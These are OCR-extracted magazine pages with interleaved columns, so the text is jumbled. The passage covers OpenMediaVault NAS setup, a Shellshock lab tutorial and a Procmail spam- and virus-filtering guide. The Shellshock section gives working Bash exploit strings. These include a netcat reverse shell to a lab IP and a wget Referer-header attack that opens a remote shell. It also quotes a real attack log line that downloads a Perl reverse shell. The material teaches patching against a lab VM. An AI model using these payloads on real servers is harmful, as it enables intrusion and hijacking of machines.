one of the features of You can burn the downloaded OMV image on to an Once you’ve configured the network, you need to
the 1.0 release is better optical disc or transfer it onto a USB drive with the dd specify a password for the NAS administrator. This is
performance on this command. First, plug in a USB drive and find out its the password for the root user on the OMV
resource-strapped device. location by running the fdisk -l command as the root installation. Do not confuse this root user with the
admin user that you will use for logging into the
web-based interface to manage the NAS device.
Next up is the partitioning step, which isn’t as
involved as it is in a typical Linux distro installation.
That’s because OMV is designed to take over the entire
disk. In fact, if you have just one disk attached to the
computer, the installation wizard will automatically
copy files into it. But if you have multiple disks
attached, which is more likely, the wizard will show you
a menu and ask you to select the disk on which you
wish to install OMV. It’ll display the size of the disks
along with their mountpoints, so make sure you select
the smallest one listed.
Once it’s done copying the files, the wizard will ask
you to select the closest Debian mirror from a list. This
is required, since OMV is based on Debian and it needs
to regularly fetch updates from the Debian repository
to make sure your OMV install is in prime condition.
86 www.linuxvoice.com
OPENMEDIAVAULT TUTORIAL
That takes care of the installation. You can now
remove the installation medium and restart the
computer. It’ll boot into the OMV installation and drop
you to the login shell, but you don’t need to log in here.
OMV will also display the IP address of this machine.
Enter this address inside a web browser on any
computer on the network to access OMV’s web
interface, from which you can manage all aspects of
OMV remotely. So once you’re done installing it, you
can disconnect the monitor and keyboard and run this
computer as a headless NAS server.
The default login credentials for the web interface
are admin:openmediavault. After logging in, the first
order of business should be to change these default
credentials. In the navigation menu on the left, head to
System > General Settings. Now switch to the Web
To keep OMV updated,
Administrator Password tab, enter the new password as the RAID level. Then enter the name you wish to
head to System > Update
in the appropriate textboxes and click on the Save use for the RAID device in the space provided and click Manager. Select all the
button to update the password for the admin user. the Save button. If you don’t have the minimum updates listed here and
The navigation panel on the side of the screen is number of disks required for the selected RAID level, click the Install button
divided into several sections. The System menu OMV will not allow you to proceed. It will also display to download them from
enables you to configure several aspects of the NAS the minimum number of disks in a tooltip. OMV’s online repositories.
server, such as the web admin’s password, the server’s After you’ve created a RAID, OMV will ask you to wait
date and time, set up scheduled jobs, enable plugins until the RAID has been initialised before you proceed
(see box) and keep the system updated. to the next step and create a filesystem. You’ll also get
a notification to save the changes in order for them to
Configure storage take effect. In fact, you’ll get this notification every time
Next up in the navigation panel is the Storage section. you make configuration changes to OMV. The RAID
As previously mentioned, you can use OMV to Management page will now list the newly created
manage multiple physical disks individually or tie RAID device. Keep a close eye on the State column for
them into a RAID device that uses the different disks this device, as you’ll only be able to proceed once it’s
for added fault tolerance. While it defaults to RAID 5, done syncing the device.
OMV supports all the popular RAID levels. To use the physical disks or the RAID array you need
If you aren’t familiar with RAID, here’s a quick to create a filesystem.
lowdown. RAID has multiple levels, and each RAID Head to Storage >
level has a different purpose, which also dictates its Filesystems and click on “To create a RAID 1 that
disk requirements. For example, to create a RAID 1
that mirrors data across drives, you need a minimum
the Create button. In the
dialog box that pops up, mirrors data across drives, you
of two disks. However, RAID 5 needs a minimum of select the device you need a minimum of two disks.”
three drives and distributes the data across the disks want to format using the
so that no data is lost even after the failure of a drive. pull-down menu, which
To view all the disks attached to the OMV NAS will list individual drives that you have wiped as well as
computer, head to Storage > Physical Disks. If you plan any RAID devices. By default the drives are formatted
to use them individually and not as a RAID, you must as EXT4 but you can select a different filesystem using
format the disks from this page, which will erase them the pull-down menu. Besides EXT4, OMV supports the
and also create a partition table. Select the drive and EXT3, XFS and JFS filesystems.
click the Wipe button. OMV can erase the disk securely After selecting the storage device and its filesystem,
or quickly. The former is slower but ensures that data enter a name for the volume in the space provided and
recovery tools won’t be able to carve data from the click the Save button. If you are using multiple physical
drive. Use this method when you need to remove a disks individually and not as a RAID device, remember
drive. The quick delete method is sufficient when to create a filesystem on each of the disks.
adding a new drive to the OMV server. If you After the filesystem has been created, and the disk
hotplugged your drive and it isn’t listed, use the Scan has been initialised, press the Mount button to bring
button to ask OMV to look for new disks. After you’ve the disk online.
erased a drive, head to Storage > File Systems to
create a filesystem on the drive. Regulate data access
However, if you wish to arrange the disks into a RAID Before you can store data on the NAS device, you’ll
device, head to Storage > RAID Management and click have to create one or more users. Head to Access
the Create button. In the dialog box that pops up, Right Management > User. The Add button on this
select the devices you want to use in the RAID as well page is a pull-down menu that lets you either add
www.linuxvoice.com 87
TUTORIAL OPENMEDIAVAULT
The Diagnostics tab
enables you to monitor
the state of the OMV NAS
server in great detail.
individual users or import a bunch of users by adding write data to the folder, you can fine-tune the access
them in the specified format. When adding an permissions and disable certain users from accessing
individual user you can also add them to an existing or modifying the contents of a particular folder. For
group. By default all users are added to the Users this, after adding a user, head to the Shared Folders
Group. You also get an option to prevent a user from section, select the folder that you want to control
making changes to their own account. access to and click the Privileges button. This will open
If you wish users to have their own home directories a window with a list of all the users you’ve added,
in the OMV server, switch to the Settings tab and mark along with checkboxes for controlling their access to
the checkbox to enable the home directory for the that folder.
user. You’ll also have to specify the location for the
home directory by selecting an existing shared folder Enable shares
on the NAS server or creating a new one. With the users and shared folders set, you’re now
Next you’ll have to add a shared folder. Depending ready to share the NAS storage with your network.
on how you plan to use the NAS, and whether it’ll be The only thing left to do is enable a network service
used by a single individual or by multiple users, you that users will use to access the shared folders on the
can create one or more folders with varying user NAS. OMV supports various popular protocols and
permissions to meet your requirements. services, including NFS, SMB/CIFS, FTP, TFTP, SSH,
To add a folder, head to Access Rights Management rsync and more.
> Shared Folders and click the Add button. In the We’ll use the SMB protocol popularly known as
dialog box that pops up, select the volume in which Samba, as it’s supported by all popular operating
you wish to create the folder from the pull-down list. systems and even works across devices. To share
Then give the shared folder a name, such as Files, and folders via Samba you’ll first have to enable the service
enter the path of the folder you wish to share, such as in OMV. Head to Servers > SMB/CIFS and in the
file/. Since this is a newly formatted disk, OMV will General settings section under the Settings tab toggle
automatically create the folder you specify here. You the Enable checkbox. The other settings in the page
can also optionally add a comment to describe the are optional. When you’re done, click the Save button
type of content the folder will hold. to save the changes.
Play close attention to the Permissions setting. By Next, you’ll have to add the shared folders as Samba
default, OMV will only allow the administrator and any shares. To do this, switch to the Shares tab and click
users you’ve added to read and write data to this the Add button. In the window that pops up, select a
folder, while others can only read its contents. This is a shared folder from the pull-down list or click on the
pretty safe default for most installations, but you can green + button to create a new one. You’ll also have to
select a more restrictive or a more liberal permission give the folder a name, which will identify the folder on
setting from the pull-down list. the network.
Even if you select the default Permissions setting When adding a Samba folder, OMV will make sure it
when creating folders, which lets all users read and follows the permissions defined when you created the
88 www.linuxvoice.com
OPENMEDIAVAULT TUTORIAL
Extend OMV
In addition to the core functionality you can network, use a player that automatically picks
teach OMV new tricks via official and up and tunes into DAAP streams, such as
third-party plugins. Head to System > Plugins Rhythmbox, Amarok, Banshee, Kodi, etc. You
to browse the list of 11 officially supported can also pick up the stream on an Android
plugins, which are included with the base device using the DAAP Media Player app.
install but not enabled by default. In addition to the official plugins, you also
One interesting plugin is the forked-daapd have access to a variety of third-party
plugin, which will let you stream the music plugins made by the omv-extras.org project.
stored on your NAS device to other To install these plugins, SSH into the OMV
computers on the network. To use it, select it machine and download the repository
from the list of plugins and click the Install package with wget http://omv-extras.org/
button. This will fetch the plugin from OMV’s debian/pool/main/o/openmediavault-
online repositories. After the plugin has been omvextrasorg/openmediavault-
installed, you’ll now notice a new entry under omvextrasorg_1.0.7_all.deb. Once
the Services section called iTunes/DAAP. downloaded you can install it with dpkg -i
Before you can use it, you’ll need to openmediavault-omvextrasorg_1.0.7_all.
configure the service by pointing it to the deb. Now log into the web interface, and the The OMV-Extras plugin repository also adds an OMV-
shared folder on the NAS that contains the third-party plugins will be listed under the Extras.org entry under the System section, from which
music files. To listen to music over the System > Plugins section. you can install plugins that haven’t been tested yet.
shared folder in the NAS. By default the folders are not service. Once it’s enabled, you can remotely log in
Public, but if you wish to make the folder accessible to to your OMV installation and manage it from the
everyone, select the Guests allowed option from the command line. Head to Services > SSH and click
Public pull-down menu. Also, if you select the Set the Enable checkbox followed by the Save button.
Read Only checkbox, OMV will ensure that no user can If there is a new release available, you can use the
modify the contents of the folder. omv-release-upgrade command to switch to the
One Samba setting that might save you in the future new version.
is the Recycle Bin. It’s not enabled by default, so when If you wish to use the NAS as the target location for
a user deletes a file it’s zapped from the NAS storing backups, you should enable the FTP service as
permanently. When the Recycle Bin setting is enabled well. Almost every backup solution will let you save
the deleted file will be moved into a virtual Recycle Bin backups to a remote location via FTP.
inside the shared folder. Additionally, you can specify To enable the FTP service, head to Services > FTP.
the time that needs to elapse before files are The default FTP settings should work for most users,
permanently deleted from the share. If you have so you can safely select the Enable checkbox to
multiple shared folders you’ll have to add them as activate the service. Now switch to the Shares tab and
separate Samba shares. Save the configuration when click on the Add button to add a shared folder for
you’ve added them all to restart the Samba service. storing backups. Here you can pick an existing folder
That’s all there’s to it!. You should now be able to from the list of shared folders on the NAS device or
access all the shared folders you’ve created on the add a new one by clicking on the + icon.
NAS device from any computer on the network, One thing you have to ensure is that your user has
irrespective of whether they reside on an individual read/write permissions on this folder. To check or
disk or a RAID array. You can either use your file change a newly created shared folder’s permissions,
manager’s built-in Network feature to access the head to Access Rights Management > Shared Folders.
network shares or enter the IP address of the NAS Highlight the folder and click on the Privileges button
device in the location area, such as: to configure the permission for individual users. Once
smb://192.168.2.101. You’ll be prompted for a you’ve done all this you only need to configure your
username and password before you can access the backup app to point to the NAS device. Depending on
folders, unless of course you have marked them as the backup app’s permission you’ll be prompted for the
public when adding them via Samba. Enter the login credentials of the user that has access to the
credentials of the user that has the appropriate backup folder.
permission to access the folder. Once verified, OMV Open Media Vault is a wonderfully versatile NAS
will mount the shared folder. You can now upload files solution that’s just hit the psychologically important
into the shared folder or delete them, if you have the 1.0 version. It’s got the right amount of features to be
permission, just like in a regular folder. of use to a wide variety of users yet isn’t too
complicated and cumbersome to setup and
Enable other services administer. Give it a go – it’s a world beater.
While Samba is a wonderful protocol to access the
NAS server, there are a couple of other services you Mayank Sharma has been tinkering with Linux since the 90s
should enable to make better use of your NAS server. and contributes to a variety of technical publications on both
sides of the pond.
One of the first services you should enable is the SSH
www.linuxvoice.com 89
TUTORIAL SHELLSHOCK
SHELLSHOCK: BREAKING
TUTORIAL
INTO BASH
Hack into a server using the latest Bash exploit, see how it works,
BEN EVERARD
and congratulate yourself that you’ve updated – haven’t you?…
O
n Thursday 25 September, we awoke to news vulnerable
WHY DO THIS? of a dangerous vulnerability in Bash affecting test
• Discover how the most almost all Linux systems. It has already If you get this output on a system other than our
dangerous vulnerability
of 2014 works. acquired the nickname Shellshock. The news had vulnerable virtual machine, you should update Bash
• Protect your machines been released during the day in America while we using your package manager. If your machine isn’t
from Shellshock. were out of the office, and was already several hours vulnerable, you should see something like this:
• Run your first old by the time we heard it on Friday morning. A patch /bin/bash: warning: x: ignoring function definition attempt
penetration test and had been released, so all we had to do was log into /bin/bash: error importing function definition for `x’
learn how hackers break
into servers. our servers and run yum update bash to secure our test
systems. Later on that day, our server’s logs were full Let’s first take a look at what this attack does. Bash,
of people trying to exploit this bug – but what was it, like most Unix shells, lets you create variables and
why was it so dangerous, and how did a vulnerability export them to the environment. These environmental
in a shell lead to servers being compromised? variables are a bit like global variables in programming
We’re going to answer these questions by taking a languages, because you can access them from any
look at a virtual machine that we’ve created to be code running in the shell. If you spawn another shell
vulnerable to this particular exploit. You can download from your current one, these environmental variables
it from www.linuxvoice.com/shellshock. It’s an OVA are included there as well.
file, so you can import it straight into VirtualBox.
The virtual machine should be imported with a host- How it works
only network, which means that it’s only accessible You can see all the environmental variables in a
from the machine VirtualBox is running on. However, particular shell with the command env. Most (or
for this to work, you’ll need to set up a host-only possibly all) of these will be text strings containing
network if one doesn’t already exist. Go to File > data about the particular configuration. However, it’s
Preferences > Network > Host-Only Network, and if also possible to create environmental variables that
there’s no entry in the list, click on the + icon to create contain functions.
one. Then press OK. The virtual machine is currently These functions are then available to everything
set to use 2GB of RAM. If you have less than 4GB on running in the shell. The crux of the Shellshock bug is
your machine, it’s probably worth reducing this until that if an environmental variable contains the text for
it’s about half of the amount of RAM in the system. a function and also some code after the end of the
With this set up, boot the machine, and it should log function, that code after the function will be executed
you into an Ubuntu Unity session (the username/ when a new shell is created. The exploit code above
password is ben/password, but you shouldn’t need contains three parts:
this). You can check that the machine is vulnerable to env x=
Shellshock by opening a terminal (click on the Ubuntu The first part uses env to create a modified
logo, type terminal, then click on the icon) and environment, then in this new environment create the
entering the following: variable x and sets it to the variable contained in the
All our Linux machines env x=”() { :;}; echo ‘vulnerable’” /bin/bash -c “echo test” second part
were vulnerable to You can also try this on your local machine to make The next part is itself in two parts.
Shellshock, but patching sure it’s properly secure. If your machine is vulnerable, “() { :;}; echo ‘vulnerable’”
them was easy. you should see the following output: The funny sequence of symbols at the start – () {
:;}; – is just an empty function with no name. It
doesn’t do anything, but it’s there to make Bash
recognise that the particular bit of code as a function.
The second part – echo ‘vulnerable’ – comes after
the function finishes. This is what’s executed when a
new shell is spawned. The final part simply spawns a
new shell in the modified environment (it’s the second
parameter to the env command):
/bin/bash -c “echo test”
90 www.linuxvoice.com
SHELLSHOCK TUTORIAL
The above is the standard code for checking for
Shellshock, because it won’t leave anything awkward
in the environment after you’ve run it; but it uses env,
which is a slightly unusual command. Many people
will find the below way of exploiting Shellshock a little
more familiar:
export x=”() { :;}; echo ‘vulnerable’”
bash -c “echo ‘test’”
You should find that the first command doesn’t
output anything, but the second gives the same
output as above. It works in the same way.
This is a type of vulnerability called code execution.
It means an attacker can run anything they want to on
your computer. Let’s now take a look at how an
This attack gives us
attacker could use it to gain command line access to to run the command. All you need to do to access to the user
your machine. compromise the server using Shellshock is send a www-data, which has
First, you need to know the IP addresses of both request for this page with an HTTP header that enough privileges to
your machine and the vulnerable virtual machine. contains an exploit string. You can do this in many send spam, DDOS attack
They should be 192.168.56.1 and 192.168.56.101 ways, but the easiest is with wget: another server or even
respectively, but it’s worth checking by running wget --referer ‘() { :; }; /bin/nc.traditional -e /bin/sh 192.168.56.1 run Shellshock attacks on
ifconfig at the command line (you’re looking for the IP 4444’ http://192.168.56.101/test.php other servers.
address in the vboxnet0 block). This uses the referer HTTP header value, but there are
First you need to prepare the host machine (ie not plenty of others that would also work.
the virtual machine) to receive access once you’ve run It uses the same reverse shell we used earlier (you’ll
the exploit. This is done by entering the following: need to have a listener set up before running it), but
nc -l 4444 this time you can launch it entirely from the host
You’ll need to install nc from your package manager computer and it will log into the vulnerable virtual
if it’s not already installed. The exploit code to run on machine. This is only one way of exploiting
the virtual machine is then: Shellshock. There are other ways of triggering it
env x=”() { :;}; /bin/nc.traditional -e /bin/sh 192.168.56.1 4444” / remotely, such as through malicious DHCP calls from
bin/bash -c “echo test” a router, which may be more
Of course, we could just have run the reverse shell likely to work on desktop
command without bothering with Shellshock. The real machines than the method “The real danger is that
danger isn’t from within a Bash session, but that we’ve looked at here. Shellshock can be triggered
Shellshock can be triggered by a remote hacker. Almost as soon as the
Shellshock vulnerability by a remote hacker.”
How to use it came to light, people started
To be able to exploit Shellshock, you need to find a scanning the web for vulnerable servers.
way of injecting environmental variables into Bash, Here’s an excerpt from www.linuxvoice.com’s
and a way of spawning shells. This is actually easier server log:
than it sounds, because in some configurations, web 109.95.210.196 - - [26/Sep/2014:14:23:31 +0100] “GET /
servers will do all it for you. cgi-sys/defaultwebpage.cgi HTTP/1.1” 301 - “-” “() { :;}; /bin/
When you’re browsing the web and request a web bash -c \”/usr/bin/wget http://mormondating.site/firefile/
page from a server, you send various bits of data, like temp?h=linuxvoice.com -O /tmp/a.pl\””
a bit of text identifying the browser you’re using and As you can see, it’s requesting the web page www.
the cookie are just strings of text that you can put linuxvoice.com/cgi-sys/defaultwebpage.cgi (this
anything in. If the website uses CGI (computer doesn’t exist, but it’s scanning large numbers of sites
generated images) to create the website, it passes for common web addresses), and trying to execute
this data to an environmental variable in the shell. If the code:
some code used to generate the web page spawns a /bin/bash -c \”/usr/bin/wget http://mormondating.site/firefile/
shell, you can use this data to launch an attack. temp?h=linuxvoice.com -O /tmp/a.pl\
Our server uses PHP in CGI mode (most server The page http://mormondating.site/firefile/temp
configurations don’t), and Bash as the default contains a Perl script that’s a more robust reverse
/bin/sh (again, this isn’t standard). With this set up, we shell than the one we used above. This attack wasn’t
created a simple test file called test.php that spawns conducted by the people running mormondating.site,
a shell when it creates a web page that gives but by someone who’s already compromised their
information about the machine’s network connection: server. These attackers are using each compromised
<?php passthru(“ifconfig”); server to scan for more vulnerable servers and so
The passthu() PHP function executes a command, build up a botnet of servers based on Shellshock.
then sends the output back to PHP. This uses /bin/sh You’ve been warned – update now!
www.linuxvoice.com 91
TUTORIAL MAILSERVER
PROCMAIL: ADD A SPAM FILTER
TUTORIAL
TO YOUR EMAIL SERVER
Filter unwanted mails, keep your inbox clean and make sure you
JOHN LANE
don’t pass any viruses on to your Windows-using friends.
L
ast month, we used Arch Linux to build a mail $ procmail MAILBOX=testuser < testmessage
WHY DO THIS? server. It accepts incoming mail and delivers it
• Teach your mailserver to to users’ mailboxes so that they can read it with It’s black and white
keep your inbox Nigerian their favourite IMAP email client. But it accepts all The simplest filters we can apply either accept or
prince-free. mail, including unwanted spam and virus-ridden ones. block messages from specific senders. We can create
• Prevent viruses from This month, we’ll add filtering capabilities to our server static files containing email addresses or domains
using your emails as a
transmission vector. to help prevent undesirable messages finding their and then use those files as black- and white-lists. Add
• Control the way you way into our users’ mailboxes. these recipes into the \etc\procmailrc before the
communicate! Our server can receive mail in two ways: its Mail existing delivery recipe:
Transfer Agent (MTA) accepts mail directly from the :0
internet and its Mail Retrieval Agent (MRA) downloads *? formail -x “From” -x “From:” -x “Sender:” \
mail from other external mail servers. We used Postfix -x “Reply-To:” -x “Return-Path:” -x “To:” \
for our MTA and Fetchmail for our MRA. | egrep -is -f /etc/procmail/whitelist
We’ll configure a new Mail Delivery Agent to filter {
mail from both channels, either delivering it to our LOG=”whitelisted$NL”
IMAP server (also an MDA) or to reject it. We’ll use :0 f
Procmail for this new MDA. Install it from the repository | formail -fA “X-Whitelisted-$$: Yes”
(we’re using Arch Linux for this project): }
$ pacman -S procmail :0
The objective of our new MDA is to perform * $!^X-Whitelisted-$$: Yes
system-wide mail filtering. The system-wide filters will *? formail -x “From” -x “From:” -x “Sender:” \
remove spam, viruses and so-on. -x “Reply-To:” -x “Return-Path:” -x “To:” \
Procmail takes its instructions from a file, usually | egrep -is -f /etc/procmail/blacklist
called /etc/procmailrc. Create a basic file to begin with {
that just delivers all mail: LOG=”blacklisted$NL”
LMTP_DELIVER=”/usr/lib/cyrus/bin/deliver -a $MAILBOX” :0
NL=” /dev/null
“ }
:0 w We can then blacklist a domain, say example.com
| $LMTP_DELIVER $MAILBOX and whitelist a user, say bob@example.com by writing
EXITCODE=$? entries in the black- and white-list files referenced by
:0 the recipes. The rules write a log message when they
/dev/null match. You write to the Procmail log by assigning to
The first line sets up our Cyrus-IMAP delivery the LOG variable.
command-line. The NL variable contains a newline Whitelisted messages are marked by adding a
character that we’ll use later on when writing to the log header, X-Whitelisted, suffixed with Procmail’s process
file. The blocks beginning with :0 are recipies – the ID so later recipes can ignore similar headers that we
first recipe delivers mail and the second one tells didn’t set. The formail command that is part of the
Procmail to dump the message before exiting with an Procmail package is used to read and write message
error code. headers. The blacklist passes messages that have this
Procmail’s processing stops once a delivering recipe header and otherwise discards messages that match
succeeds, so the second recipe would only be invoked the blacklist rule. We’ll also use the presence or
if there were a problem with delivery. Although absence of the whitelist header in other rules later on.
Procmail dumps the message when there is an error, We can take blacklisting a step further and make
the agent that invoked Procmail would react to its use of Realtime Blackhole Lists, or RBL. These are
non-zero exit code by bouncing the message. DNS-based address blacklisting databases, also
You can verify that Procmail works by sending a test known as DNSBL, that contain IP addresses of known
message through it and checking that it appears in our sources of unsolicited bulk email (spam). There is a
test user’s inbox: small utility that checks an IP address against various
92 www.linuxvoice.com
MAILSERVER TUTORIAL
blacklists. Install its package:
$ pacman -S rblcheck
You invoke rblcheck with a list of IP addresses and it
checks them against lists provided by sorbs.net,
spamhaus.org, spamcop.net and some others. It
returns a non-zero exit status if a given address is
blocked (it also echoes the blocked addresses to
standard output). You can use it like this:
$ rblcheck -qm 27.20.121.36
You need to extract the IP addresses from the
message header. One way to do this is with a little
Bash script, saved as /etc/procmail/header_ip that Keep an eye on your Bayes
reads message headers from its standard input: $ pacman -S spamassassin razor clamav database.
#!/bin/bash $ pacman -U ~build/clamassassin/clamassassin-1.2.4-5-any.
while read line pkg.tar.xz
do $ pacman -U ~build/pyzor/pyzor-0.8.0-1-any.pkg.tar.xz
if [[ $line =~ \[([0-9]+\.[0-9]+\.[0-9]+\.[0-9]+)\] ]] $ pacman -U ~build/dcc/dcc-1.3.155-1-x86_64.pkg.tar.xz
then ClamAssassin uses ClamAV to virus-check email and
ip=${BASH_REMATCH[1]} adds headers to messages found to contain viruses.
[[ $ip =~ ^127\.0|^10\.|^192.168\. ]] || echo -n “$ip “ Its config file is installed to /etc/clamav/clamd.conf;
fi adjust it to include these definitions:
done LogSyslog yes
Don’t forget chmod +x to make it executable. A new LogFacility LOG_MAIL
recipe uses the script and the rblcheck tool to drop LogTime yes
mail from addresses on these blackhole lists unless PidFile /var/run/clamav/clamd.pid
they have also been whitelisted: TemporaryDirectory /tmp
:0 h DatabaseDirectory /srv/mail/clamav
HEADER_IP=|/etc/procmail/header_ip LocalSocket /var/lib/clamav/clamd.sock
:0 User clamav
* $!^X-Whitelisted-$$: Yes A separate daemon called freshclamd updates the
* ! ? if [ -n “$HEADER_IP” ]; then rblcheck -qm $HEADER_IP; fi virus database. Review its configuration, in
{ /etc/clamav/freshclam.conf too:
LOG=”blackholed$NL” LogSyslog yes
:0 LogFacility LOG_MAIL
/dev/null DatabaseDirectory /srv/mail/clamav
} DatabaseMirror db.UK.clamav.net
DatabaseMirror database.clamav.net
Meet the Assassins NotifyClamd /etc/clamav/clamd.conf
Using realtime blackhole lists prevents a lot of spam Create the virus database directory, start the ClamAV
from reaching users’ mailboxes but some will still get services and freshclam will download the virus
through. We need some additional help and it comes database:
in the form of SpamAssassin, which detects spam, and $ mkdir -m 700 /srv/mail/clamav
ClamAV, which detects viruses. Begin by installing the $ chown clamav: /srv/mail/clamav
required packages: $ systemctl enable clamd freshclamd
$ systemctl start clamd freshclamd
Is Procmail dead? You can test your ClamAV installation without
exposing your system to real viruses. You can instead
The last update to Procmail happened on 10 September download files containing the EICAR test string and
2001, quite a long time ago, with the release of version use those for testing:
3.22. Despite this, it is still very widely used and it has been
$ mkdir /tmp/eicar && pushd /tmp/eicar
claimed that it does what it needs to do and requires no
more development. There are lots of Procmail examples $ wget https://secure.eicar.org/eicar.com
on the internet and the procmail-users mailing list is still $ wget https://secure.eicar.org/eicar_com.zip
active. We’ve used Procmail for mail filtering because it $ wget https://secure.eicar.org/eicarcom2.zip
is well documented and there is a lot of information and $ popd && clamdscan /tmp/eicar
community support online. It is also well suited to use with
- - - -- SCAN SUMMARY - - - --
our MTA, MRA and MSA, so has everything covered.
If Procmail’s status bothers you, consider alternatives Infected files: 3
like MailDrop (www.courier-mta.org/maildrop) or mail filter $ clamassassin < /tmp/eicar/eicar.com
applications that interface to Postfix (of course, these won’t X-Virus-Status: Yes
work if you need to filter mail through a mail retrieval agent X-Virus-Report: Eicar-Test-Signature FOUND
like Fetchmail).
We need to add a Procmail recipe that uses
www.linuxvoice.com 93
TUTORIAL MAILSERVER
Greylisting makes spam
go away.
Image source:http://postgrey.
schweikert.ch
clamassassin to detect viruses. $ razor-admin -home=/etc/mail/spamassassin/razor -create
:0 wf $ razor-admin -home=/etc/mail/spamassassin/razor -discover
| /usr/bin/clamassassin $ razor-admin -home=/etc/mail/spamassassin/razor -register
Any messages containing detected viruses will have Register successful. Identity stored in /etc/mail/spamassassin/
an X-Virus-Status header added. We use this header razor/identity-ruHZVUhY7x
in another Procmail recipe to deliver into a quarantine Before you can launch the SpamAssassin daemon, it
folder. Insert it just before the one that delivers clean needs some spam detection rules to use, which it
mail: expects to find under /var/lib/spamassassin. Use the
:0 w update tool to download them:
* ^X-Virus-Status: Yes $ sa-update
| $LMTP_DELIVER -m Virus $MAILBOX With the configuration complete, you can start the
PRO TIP You can also download a test email that has an daemon and run some tests. You can download
Use the freshclam attachment containing the EICAR virus and use it to GTUBE, the Generic Test for Unsolicited Bulk Email,
command to update test your Procmail configuration. Use your email client and use it to test your SpamAssassin setup.
the virus database to create a Virus folder first. $ wget http://spamassassin.apache.org/gtube/gtube.txt
on-demand.
$ wget https://bit.ly/eicar-testmail $ systemctl enable spamassassin
$ procmail MAILBOX=testuser < eicar-testmail $ systemctl start spamassassin
SpamAssassin is a spam filter that uses various $ spamc < gtube.txt
techniques to detect spam. These include message X-Spam-Checker-Version: SpamAssassin 3.4.0 (2014-02-07) on
fingerprinting services, like Vipul’s Razor, Pyzor and the mailserver
Distributed Checksum Clearinghouse (DCC), and X-Spam-Flag: YES
Bayesian Filtering that can learn what spam looks like X-Spam-Level: ***********************************************
if known spam is fed into it. ***
SpamAssassin’s default configuration performs X-Spam-Status: Yes, score=1000.0
Bayesian Filtering and will also use Pyzor and Razor if You can feed known Spam into the Bayesian filter,
they are available. They need some configuration lines however, that it may take a while before enough spam
added to /etc/mail/spamassassin/local.cf: is learnt before Bayesian spam detection gives results:
bayes_path /srv/mail/spamassassin/bayes/bayes $ sa-learn --spam /path/to/spam/mails
bayes_file_mode 0666 Learned tokens from 683 message(s) (683 message(s)
pyzor_options --homedir /etc/mail/spamassassin examined)
razor_config /etc/mail/spamassassin/razor/razor-agent.conf Finally, we need to add a Procmail recipe to detect
You should review the other configuration items, spam. We limit spam checks to emails smaller than
adjusting it to suit your needs. You may like to rewrite 250KiB – most spam is smaller than this and having
the headers of spam messages so they contain a this rule avoids overloading spamd:
*****SPAM***** prefix. :0 fw
rewrite_header Subject *****SPAM***** * < 256000
SpamAssassin doesn’t enable DCC, because it isn’t | /usr/bin/spamc
open source but, if you want to use it, you can enable it Any messages containing detected spam will have
by uncommenting the following line in /etc/mail/ a X-Spam-Status header added that we use to
spamassassin/v310.pre: quarantine them just like we did for viruses:
loadplugin Mail::SpamAssassin::Plugin::DCC :0 w
and then initialise DCC: * ^X-Spam-Status: Yes
$ rm -f /opt/dcc/map | $LMTP_DELIVER -m Spam $MAILBOX
$ chmod 600 /opt/dcc/map.txt You can test your Procmail configuration with the
$ cdcc load /opt/dcc/map.txt GTUBE test file. Use your email client to create a Spam
You need to create a Bayes directory for the spamd folder and then send a test spam into it:
user and also register a Razor identity: $ procmail MAILBOX=testuser < gtube.txt
$ mkdir -pm 700 /srv/mail/spamassassin/bayes We need to change how our MTAs deliver mail so
$ chown -R spamd: /srv/mail/spamassassin that it is processed through Procmail. For Fetchmail,
94 www.linuxvoice.com
MAILSERVER TUTORIAL
replace the defaults section in /etc/fetchmailrc:
mda “/usr/bin/procmail MAILBOX=%T” A Procmail primer
When Procmail is invoked by Fetchmail, it’s the The procmailrc script is a series of recipes complete.
fetchmail user that delivers mail. Allow this by adding that are applied sequentially to a message. f means the rule is a filter and can alter the
it to the mail group: Each recipe begins with the cryptic :0 message.
$ usermod -aG mail fetchmail character sequence followed by optional A condition is an asterisk and a regular
conditions and an action to perform if the expression or a shell command. The
Two changes are required for Postfix. First, in /etc/
conditions are met. A recipe is considered condition is satisfied if the expression
postfix/main.cf, change the virtual_transport so that matched if its conditions are met. matches or a command succeeds.
it reads Besides recipes, you can assign values to Actions are either a file to write the
virtual_transport = procmail variables. The special LOG variable writes message to (we’ve used /dev/null in a few
This tells Postfix to use a transport called procmail anything that is assigned to it into the log. places) or they begin with a pipe symbol and
A recipe may have flags after its opening launch a command, passing the message
to deliver mail. We define this transport by adding a
:0 We’ve used these flags in our examples: into its standard input. Actions are assumed
new definition to the end of /etc/postfix/master.cf. It h makes the rule process message to deliver the message and processing stops
states that mail should be delivered by launching headers only. on the first suvh recipe to be completed
Procmail: w makes the rule wait for its action to (filter recipes are non-delivering).
procmail unix - n n - - pipe
flags=OR user=cyrus argv=/usr/bin/procmail -t -m
MAILBOX=${recipient} /etc/procmailrc action is to permit so that genuine SMTP mail delivery
Reload Postfix and then send some test emails and from the internet is allowed:
look for them in your inbox. Congratulations, your smtpd_client_restrictions =
incoming emails are now processed through your check_client_access cidr:/etc/postfix/smtp_access.cidr
filtering system for a spam-free life! Use postfix reload so that your changes take effect,
and then perform some tests from an email client to
In Submission ensure that you can send on port 587 but not port 25.
In part 1 we mentioned the Message Submission Verify also that incoming messages still work!
Agent (MSA)that clients should use to send email Another thing that using a MSA makes easy is
instead of sending it to the MTA’s SMTP port 25. The outbound filtering. You can also use Procmail to filter
MSA accepts submissions on port 587 with or outbound messages. You first configure a content_
without TLS. By implenting MSA, we gain several filter on the submission service that invokes another
advantages, including the ability to have separate service to pass the message into Procmail, which must
control over inbound and outbound messages. We re-inject it back into the message queue using the
need to enable MSA in /etc/postfix/master.cf. Postfix sendmail command. This configuration goes in
Uncomment the submission daemon and the /etc/postfix/master.cf, beginning with the content
following lines so that it looks like this: filter. Add the following to the existing submission
submission inet n - n - - smtpd definition, after the client restrictions:
-o syslog_name=postfix/submission -o content_filter=procmail-outbound
-o smtpd_client_restrictions=permit_mynetworks,reject Now, define the procmail-outbound service; append
This allows clients on your network to connect and to the end of the file:
send but any other connections would be rejected. procmail-outbound unix - n n - - pipe
Reconfigure your email client to use port 587 instead flags=Rq user=cyrus argv=/usr/bin/procmail -t -m
of port 25 and send a test message to confim that you SENDER=${sender} /etc/procmail/outbound-recipes
can send. We changed the log name so that the logs Here’s an example outbound-recipes that uses
label connections to the submission service differently; formail to add a header to the outbound message
you can confirm via the logs that your email client is before queuing it using Postfix’s “sendmail” command:
sending to the correct service. :0 f
We can now prohibit local clients from sending to | formail -fA “X-Outbound-Content-Filtered: Yes”
port 25. Create a lookup table to list the local networks :0 w
